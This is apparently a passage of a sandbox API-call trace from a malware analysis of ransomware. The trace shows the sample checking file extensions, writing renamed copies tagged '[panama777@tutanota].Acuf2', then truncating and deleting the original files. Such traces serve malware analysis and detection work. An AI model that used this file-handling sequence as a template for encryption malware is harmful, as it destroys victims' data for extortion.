	[0251.484] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.484] lstrlenW (lpString=".zip") returned 4
	[0251.484] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0251.484] lstrlenW (lpString=".rar") returned 4
	[0251.484] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0251.484] lstrlenW (lpString=".bz2") returned 4
	[0251.485] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0251.485] lstrlenW (lpString=".7z") returned 3
	[0251.485] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0251.485] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.485] lstrlenW (lpString=".dbf") returned 4
	[0251.485] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0251.485] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.485] lstrlenW (lpString=".1cd") returned 4
	[0251.485] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0251.485] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.485] lstrlenW (lpString=".jpg") returned 4
	[0251.485] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0251.485] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.485] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.485] lstrlenW (lpString=".doc") returned 4
	[0251.485] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0251.485] lstrlenW (lpString=".docx") returned 5
	[0251.485] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1
	[0251.485] lstrlenW (lpString=".pdf") returned 4
	[0251.485] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0251.485] lstrlenW (lpString=".xls") returned 4
	[0251.485] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0251.485] lstrlenW (lpString=".xlsx") returned 5
	[0251.485] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1
	[0251.485] lstrlenW (lpString=".ppt") returned 4
	[0251.485] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0251.486] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.486] lstrlenW (lpString=".zip") returned 4
	[0251.486] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0251.486] lstrlenW (lpString=".rar") returned 4
	[0251.486] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0251.486] lstrlenW (lpString=".bz2") returned 4
	[0251.486] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0251.486] lstrlenW (lpString=".7z") returned 3
	[0251.486] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0251.486] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.486] lstrlenW (lpString=".dbf") returned 4
	[0251.486] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0251.486] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.486] lstrlenW (lpString=".1cd") returned 4
	[0251.486] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0251.486] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.486] lstrlenW (lpString=".jpg") returned 4
	[0251.486] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0251.486] lstrcmpiW (lpString1=".wmv", lpString2=".Acuf2") returned 1
	[0251.486] lstrlenW (lpString="title_trans_notes.wmv") returned 21
	[0251.486] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0251.926] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=709220) returned 1
	[0251.926] CloseHandle (hObject=0x2e0) returned 1
	[0251.926] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv")) returned 0x20
	[0251.926] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0251.926] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.926] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.926] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.926] lstrlenW (lpString=".doc") returned 4
	[0251.926] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0251.926] lstrlenW (lpString=".docx") returned 5
	[0251.926] lstrcmpiW (lpString1=".docx", lpString2="s.wmv") returned -1
	[0251.926] lstrlenW (lpString=".pdf") returned 4
	[0251.926] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0251.926] lstrlenW (lpString=".xls") returned 4
	[0251.926] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0251.926] lstrlenW (lpString=".xlsx") returned 5
	[0251.926] lstrcmpiW (lpString1=".xlsx", lpString2="s.wmv") returned -1
	[0251.926] lstrlenW (lpString=".ppt") returned 4
	[0251.926] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0251.926] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.927] lstrlenW (lpString=".zip") returned 4
	[0251.927] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0251.927] lstrlenW (lpString=".rar") returned 4
	[0251.927] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0251.927] lstrlenW (lpString=".bz2") returned 4
	[0251.927] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0251.927] lstrlenW (lpString=".7z") returned 3
	[0251.927] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0251.927] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.927] lstrlenW (lpString=".dbf") returned 4
	[0251.927] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0251.927] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.927] lstrlenW (lpString=".1cd") returned 4
	[0251.927] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0251.927] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.927] lstrlenW (lpString=".jpg") returned 4
	[0251.927] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0251.927] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.927] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.927] lstrlenW (lpString=".doc") returned 4
	[0251.927] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0251.927] lstrlenW (lpString=".docx") returned 5
	[0251.927] lstrcmpiW (lpString1=".docx", lpString2="s.wmv") returned -1
	[0251.927] lstrlenW (lpString=".pdf") returned 4
	[0251.927] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0251.927] lstrlenW (lpString=".xls") returned 4
	[0251.927] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0251.927] lstrlenW (lpString=".xlsx") returned 5
	[0251.927] lstrcmpiW (lpString1=".xlsx", lpString2="s.wmv") returned -1
	[0251.927] lstrlenW (lpString=".ppt") returned 4
	[0251.928] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0251.928] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.928] lstrlenW (lpString=".zip") returned 4
	[0251.928] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0251.928] lstrlenW (lpString=".rar") returned 4
	[0251.928] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0251.928] lstrlenW (lpString=".bz2") returned 4
	[0251.928] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0251.928] lstrlenW (lpString=".7z") returned 3
	[0251.928] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0251.928] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.928] lstrlenW (lpString=".dbf") returned 4
	[0251.928] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0251.928] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.928] lstrlenW (lpString=".1cd") returned 4
	[0251.928] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0251.928] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77
	[0251.928] lstrlenW (lpString=".jpg") returned 4
	[0251.928] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0251.928] lstrcmpiW (lpString1=".png", lpString2=".Acuf2") returned 1
	[0251.928] lstrlenW (lpString="PreviousMenuButtonIcon.png") returned 26
	[0251.928] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0252.165] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=3819) returned 1
	[0252.165] CloseHandle (hObject=0x2a4) returned 1
	[0252.165] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png")) returned 0x20
	[0252.718] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0252.718] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0252.718] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.718] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.718] lstrlenW (lpString=".doc") returned 4
	[0252.718] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0252.718] lstrlenW (lpString=".docx") returned 5
	[0252.718] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1
	[0252.718] lstrlenW (lpString=".pdf") returned 4
	[0252.718] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0252.718] lstrlenW (lpString=".xls") returned 4
	[0252.718] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1
	[0252.718] lstrlenW (lpString=".xlsx") returned 5
	[0252.718] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1
	[0252.718] lstrlenW (lpString=".ppt") returned 4
	[0252.718] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1
	[0252.718] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.718] lstrlenW (lpString=".zip") returned 4
	[0252.718] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1
	[0252.718] lstrlenW (lpString=".rar") returned 4
	[0252.718] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1
	[0252.718] lstrlenW (lpString=".bz2") returned 4
	[0252.718] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0252.719] lstrlenW (lpString=".7z") returned 3
	[0252.719] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0252.719] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.719] lstrlenW (lpString=".dbf") returned 4
	[0252.719] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0252.719] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.719] lstrlenW (lpString=".1cd") returned 4
	[0252.719] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0252.719] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.719] lstrlenW (lpString=".jpg") returned 4
	[0252.719] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0252.719] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.719] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.719] lstrlenW (lpString=".doc") returned 4
	[0252.719] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0252.719] lstrlenW (lpString=".docx") returned 5
	[0252.719] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1
	[0252.719] lstrlenW (lpString=".pdf") returned 4
	[0252.719] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0252.719] lstrlenW (lpString=".xls") returned 4
	[0252.719] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1
	[0252.719] lstrlenW (lpString=".xlsx") returned 5
	[0252.719] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1
	[0252.719] lstrlenW (lpString=".ppt") returned 4
	[0252.719] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1
	[0252.720] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.720] lstrlenW (lpString=".zip") returned 4
	[0252.720] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1
	[0252.720] lstrlenW (lpString=".rar") returned 4
	[0252.720] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1
	[0252.720] lstrlenW (lpString=".bz2") returned 4
	[0252.720] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0252.720] lstrlenW (lpString=".7z") returned 3
	[0252.720] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0252.720] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.720] lstrlenW (lpString=".dbf") returned 4
	[0252.720] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0252.720] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.720] lstrlenW (lpString=".1cd") returned 4
	[0252.720] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0252.720] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77
	[0252.720] lstrlenW (lpString=".jpg") returned 4
	[0252.720] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0252.720] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0252.720] lstrlenW (lpString="AG00135_.GIF") returned 12
	[0252.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0253.330] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2596) returned 1
	[0253.330] CloseHandle (hObject=0x28c) returned 1
	[0253.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20
	[0253.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0253.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0253.331] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.331] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0253.586] GetLastError () returned 0x0
	[0253.586] ReadFile (in: hFile=0x28c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xa24, lpOverlapped=0x0) returned 1
	[0253.616] WriteFile (in: hFile=0x328, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xa30, lpOverlapped=0x0) returned 1
	[0253.616] ReadFile (in: hFile=0x28c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0253.616] WriteFile (in: hFile=0x328, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0253.616] SetEndOfFile (hFile=0x328) returned 1
	[0253.616] CloseHandle (hObject=0x328) returned 1
	[0253.617] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.617] SetEndOfFile (hFile=0x28c) returned 1
	[0253.619] CloseHandle (hObject=0x28c) returned 1
	[0253.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0253.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1
	[0253.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.619] lstrlenW (lpString=".doc") returned 4
	[0253.619] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0253.619] lstrlenW (lpString=".docx") returned 5
	[0253.620] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0253.620] lstrlenW (lpString=".pdf") returned 4
	[0253.620] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0253.620] lstrlenW (lpString=".xls") returned 4
	[0253.620] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0253.620] lstrlenW (lpString=".xlsx") returned 5
	[0253.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0253.620] lstrlenW (lpString=".ppt") returned 4
	[0253.620] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0253.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.620] lstrlenW (lpString=".zip") returned 4
	[0253.620] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0253.620] lstrlenW (lpString=".rar") returned 4
	[0253.620] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0253.620] lstrlenW (lpString=".bz2") returned 4
	[0253.620] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0253.620] lstrlenW (lpString=".7z") returned 3
	[0253.620] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0253.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.620] lstrlenW (lpString=".dbf") returned 4
	[0253.620] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0253.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.620] lstrlenW (lpString=".1cd") returned 4
	[0253.620] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0253.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.621] lstrlenW (lpString=".jpg") returned 4
	[0253.621] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0253.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.621] lstrlenW (lpString=".doc") returned 4
	[0253.621] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0253.621] lstrlenW (lpString=".docx") returned 5
	[0253.621] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0253.621] lstrlenW (lpString=".pdf") returned 4
	[0253.621] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0253.621] lstrlenW (lpString=".xls") returned 4
	[0253.621] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0253.621] lstrlenW (lpString=".xlsx") returned 5
	[0253.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0253.621] lstrlenW (lpString=".ppt") returned 4
	[0253.621] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0253.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.621] lstrlenW (lpString=".zip") returned 4
	[0253.621] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0253.621] lstrlenW (lpString=".rar") returned 4
	[0253.621] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0253.621] lstrlenW (lpString=".bz2") returned 4
	[0253.621] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0253.621] lstrlenW (lpString=".7z") returned 3
	[0253.621] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0253.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.621] lstrlenW (lpString=".dbf") returned 4
	[0253.621] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0253.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.621] lstrlenW (lpString=".1cd") returned 4
	[0253.621] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0253.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63
	[0253.622] lstrlenW (lpString=".jpg") returned 4
	[0253.622] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0253.622] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0253.622] lstrlenW (lpString="AG00142_.GIF") returned 12
	[0253.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0253.622] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=15308) returned 1
	[0253.622] CloseHandle (hObject=0x28c) returned 1
	[0253.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20
	[0253.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
